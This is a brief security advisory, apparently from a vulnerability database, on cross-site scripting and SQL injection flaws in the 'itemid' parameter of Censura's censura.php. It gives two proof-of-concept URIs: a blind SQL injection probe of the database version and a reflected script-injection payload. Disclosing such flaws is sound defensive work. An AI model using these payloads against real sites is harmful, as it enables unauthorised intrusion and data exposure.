|
|
Censura 'itemid' Parameter Cross Site Scripting and SQL Injection Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI. The following example URIs are available: http://www.example.com/censura.php?cmd=details&itemid=61 and substring(@@version,1,1)=4 http://www.example.com/censura.php?cmd=details&itemid=<script>alert(123)</script> |
|
Privacy Statement |